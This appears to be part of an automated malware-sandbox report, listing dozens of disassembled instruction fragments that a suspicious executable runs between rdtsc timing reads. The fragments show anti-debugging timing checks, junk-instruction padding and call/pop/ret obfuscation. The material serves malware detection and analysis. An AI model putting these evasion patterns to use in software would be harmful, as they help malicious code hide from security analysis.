Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C3092 second address: 9C3096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C5D41 second address: 9C5D5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C5D5D second address: 9C5D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jbe 00007F64E0F64676h 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C5D71 second address: 9C5D77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C5D77 second address: 9C5D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C5D7B second address: 9C5D84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 982199 second address: 98219D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98219D second address: 9821AD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F64E0CE9AA6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9821AD second address: 9821B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8591 second address: 9C8595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8595 second address: 9C85A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C85A2 second address: 9C85AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C85AB second address: 9C85B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8C3A second address: 9C8C3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8C3F second address: 9C8C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F64E0F6467Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jnl 00007F64E0F6467Ch 0x00000018 jmp 00007F64E0F64689h 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F64E0F6467Bh 0x00000027 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8C8C second address: 9C8C93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C7C78 second address: 9C7C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F64E0F64676h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8D7B second address: 9C8D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F64E0CE9AADh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8D8D second address: 9C8DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F64E0F64682h 0x00000013 jmp 00007F64E0F6467Ch 0x00000018 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C8DAC second address: 9C8DDE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F64E0CE9AACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jbe 00007F64E0CE9AB8h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F64E0CE9AAEh 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push edi 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CEDB0 second address: 9CEDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F64E0F6467Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CEDC3 second address: 9CEDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98C063 second address: 98C067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98C067 second address: 98C081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AAAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jnp 00007F64E0CE9AA6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98C081 second address: 98C087 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98C087 second address: 98C08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98C08D second address: 98C0C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F64E0F64676h 0x00000009 jmp 00007F64E0F6467Ch 0x0000000e jbe 00007F64E0F64676h 0x00000014 popad 0x00000015 jmp 00007F64E0F6467Dh 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d jl 00007F64E0F6468Dh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98C0C1 second address: 98C0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AB1h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CE455 second address: 9CE478 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F64E0F64682h 0x0000000e jo 00007F64E0F64676h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CE478 second address: 9CE483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CE5C8 second address: 9CE5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CE5CC second address: 9CE5D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CE6FF second address: 9CE714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F64E0F64676h 0x0000000a jmp 00007F64E0F6467Bh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CE714 second address: 9CE718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9CEC39 second address: 9CEC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D05CF second address: 9D05DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D05DA second address: 9D05E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D05E0 second address: 9D0606 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F64E0CE9AA8h 0x00000011 jmp 00007F64E0CE9AB3h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D0F04 second address: 9D0F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D10E7 second address: 9D10EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D10EB second address: 9D10EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D152F second address: 9D1535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D1535 second address: 9D1539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D19CC second address: 9D19D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F64E0CE9AA6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D1DD4 second address: 9D1DDE instructions: 0x00000000 rdtsc 0x00000002 je 00007F64E0F64676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D1DDE second address: 9D1DE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D1F8A second address: 9D1F94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F64E0F6467Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D2F8F second address: 9D2F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D4BD2 second address: 9D4BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D6052 second address: 9D6093 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F64E0CE9AA8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c xor esi, 700C324Dh 0x00000032 push eax 0x00000033 push ecx 0x00000034 jbe 00007F64E0CE9AACh 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D6AB0 second address: 9D6B5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64689h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c jp 00007F64E0F64678h 0x00000012 jmp 00007F64E0F64683h 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F64E0F64678h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 or di, 4A0Bh 0x00000038 add di, CFECh 0x0000003d push 00000000h 0x0000003f sub edi, dword ptr [ebp+122D3959h] 0x00000045 pushad 0x00000046 mov dword ptr [ebp+122D339Bh], edx 0x0000004c mov bx, si 0x0000004f popad 0x00000050 push 00000000h 0x00000052 push 00000000h 0x00000054 push ebp 0x00000055 call 00007F64E0F64678h 0x0000005a pop ebp 0x0000005b mov dword ptr [esp+04h], ebp 0x0000005f add dword ptr [esp+04h], 00000016h 0x00000067 inc ebp 0x00000068 push ebp 0x00000069 ret 0x0000006a pop ebp 0x0000006b ret 0x0000006c movzx edi, bx 0x0000006f jnl 00007F64E0F6467Bh 0x00000075 push eax 0x00000076 pushad 0x00000077 push ebx 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D75B7 second address: 9D75BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DC414 second address: 9DC428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F64E0F6467Dh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DC428 second address: 9DC44B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, di 0x0000000d cld 0x0000000e push 00000000h 0x00000010 sbb di, 879Dh 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D3ABDh] 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DC44B second address: 9DC450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DE3E0 second address: 9DE3E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DE3E4 second address: 9DE3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DF419 second address: 9DF43A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F64E0CE9AACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D4912 second address: 9D4917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DF43A second address: 9DF43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DF43E second address: 9DF491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F64E0F64676h 0x00000009 jmp 00007F64E0F64680h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 movsx ebx, di 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F64E0F64678h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 push edi 0x00000032 sub bx, 0BEBh 0x00000037 pop ebx 0x00000038 push 00000000h 0x0000003a mov ebx, 6960CA66h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push edx 0x00000045 pop edx 0x00000046 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DF491 second address: 9DF4A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E0423 second address: 9E0427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E0427 second address: 9E042D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E042D second address: 9E0444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F64E0F64683h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E265D second address: 9E2680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push edi 0x00000007 jo 00007F64E0CE9AA6h 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F64E0CE9AB3h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E3743 second address: 9E3749 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E3749 second address: 9E37CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F64E0CE9AA6h 0x00000009 jl 00007F64E0CE9AA6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F64E0CE9AA8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f push 00000000h 0x00000031 xor dword ptr [ebp+1246477Fh], ecx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F64E0CE9AA8h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov dword ptr [ebp+12457845h], edi 0x00000059 push eax 0x0000005a pushad 0x0000005b jnp 00007F64E0CE9AA8h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F64E0CE9AAEh 0x00000068 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E5919 second address: 9E5939 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F64E0F64685h 0x00000008 jmp 00007F64E0F6467Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E5939 second address: 9E5955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E5955 second address: 9E59BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F64E0F64678h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov bx, B846h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F64E0F64678h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 sub ebx, 05493BE4h 0x0000004b push 00000000h 0x0000004d mov dword ptr [ebp+122D21BBh], esi 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push edi 0x00000057 pushad 0x00000058 popad 0x00000059 pop edi 0x0000005a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9E8ACB second address: 9E8ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9ED114 second address: 9ED12A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F64E0F6467Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9ED12A second address: 9ED137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F64E0CE9AA6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D685C second address: 9D686F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F64E0F64678h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9F105C second address: 9F1060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9D7E1A second address: 9D7E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnc 00007F64E0F64678h 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F64E0F64676h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9F4868 second address: 9F4876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9F4A00 second address: 9F4A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64682h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F64E0F6467Eh 0x0000000f rdtsc
